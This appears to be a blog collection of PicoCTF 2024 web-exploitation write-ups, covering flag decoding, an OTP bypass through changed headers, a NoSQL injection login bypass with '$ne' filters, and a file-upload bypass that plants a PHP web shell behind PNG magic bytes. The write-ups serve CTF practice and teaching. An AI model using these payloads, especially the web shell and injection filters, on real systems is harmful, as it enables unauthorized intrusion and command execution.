PicoCTF 2024 - Web Exploitation Writeups
This post contains a collection of writeups under the Web Exploitation category for PicoCTF 2024.
This post contains a collection of writeups under the Web Exploitation category for PicoCTF 2024.
Bookmarklet - 50 points


We are given the following javascript code as a bookmark.
javascript:(function() {
var encryptedFlag = "àÒÆÞ¦È¬ëÙ£ÖÓÚåÛÑ¢ÕÓÔÅÐÙí";
var key = "picoctf";
var decryptedFlag = "";
for (var i = 0; i < encryptedFlag.length; i++) {
decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
alert(decryptedFlag);
})();
Bookmark that executes javascript
Basically for each character in the encryptedFlag string
- Converted to its integer UTF-16 char code (
àis224) - Minus the
keychar code for the current character modulo bykeylength (which ensures we will not be out of index bounds ofkey). For example char code of key at indexi = 0is which ispis112 - Add
256and modulo it by256which in this example(112 + 256) % 256gives us back112 - Convert it back to String using
String.fromCharCodewhich gives usp
Alternatively, simply run the code in the function in a javascript console and get the flag.
Flag: picoCTF{p@g3_turn3r_1d1ba7e0}
WebDecode - 50 points


This is a very easy challenge similar to the Bookmarklet challenge, all we need is to inspect the source. When we navigate to the About page we see the following hint to inspect the page. If you are not familiar with encoding you might scratch your head wondering where is the flag. It is right there.

cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9 is Base64 encoded. Once decoded, we get the flag. (If you have no idea what something is, try playing with it over at CyberChef which occasionally can magically tell u it is Bas64 encoded as in this example)
Flag: picoCTF{web_succ3ssfully_d3c0ded_df0da727}
IntroToBurp - 100 Points

This is honestly quite a badly named challenge. It is more like intro to sending HTTP Headers. Simply fill the form until u reach the OTP section. Send anything and it will say wrong OTP. Copy that request or intercept with burp or modify with Firefox and modify the Accept and Content-Type headers to application/json and you will get back the flag in the response claiming you "Bypassed the OTP"

let result = await fetch("http://titan.picoctf.net:53880/dashboard", {
"headers": {
"accept": "application/json",
"content-type": "application/json",
},
"body": "otp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
await result.text()Flag: picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}
Unminify - 100 Points

Another challenge that was probably not well thought out, inspecting the source in Chrome simply shows the flag as one of the element classes

Flag: picoCTF{pr3tty_c0d3_622b2c88}
No SQL Injection - 200 Points

Looking at the source code, we see that the NoSQL injection lies in the unsanitised input to the find function in api/login/routes.ts
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
});For Mongo, finding documents in such ways is vulnerable to SQLi and authentication bypass where we can make use of simple query filters such as not equals $ne
User.find(
{
email: { "$ne": "a"},
password: { "$ne": "a"}
});The above will return users whose email and password both do not equal a.
Using { "$ne": "a"} for both email and password and input fields will return the list of users in the response. The flag is Base64 encoded in the user token field.

Flag: picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_53d90e28}
Trickster - 300 Points

There is no source code available so we can only play with it, uploading a random gif that ends with .png passes the rudimentary check but we are greated with the following error
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:18 Stack trace: #0 /var/www/html/index.php(18): file_get_contents('') #1 {main} thrown in /var/www/html/index.php on line 18PHP Errror
Okay now we know its a PHP app and it seems to try and get the file contents after file uploading.
Creating a sample PHP hello world script along with a simple webshell containing the following and adding the .png.php to the file name and upload it. (Remember to modify the request header for the Content-Type to image/png)
<?php
echo "Hello World!<br/>";
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>PHP Hello World Web Shell Example
Now we get the message
Error: The file is not a valid PNG image: 3c3f7068Invalid PNG image check
There could be a magic byte check to see if it is a PNG file. PNG files can be identified by starting with 89 50 4E 47 0D 0A 1A 0A in hex.
echo -ne "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A$(cat pic.php.png)" > pic.png.phpAppend PNG magic bytes
After reuploading the file, we see
File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
Taking a guess at where our file will be uploaded to, if we visit the /uploads folder with our file name we see our PHP code getting executed and we see Hello World
If we add in ?cmd=ls ../ in the url, it will get executed by the server and we see the list of files in the main html folder

/var/www/htmlChange our cmd to cat ../G*.txt and we have the flag
Flag: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e}
Elements - 500 Points
I managed to bypass the checks to /remotecraft but could but not get any of the functions to return back the flag for the eval xss 😦
Here's a completed writeup by Saktoki for the elements challenge https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024/elements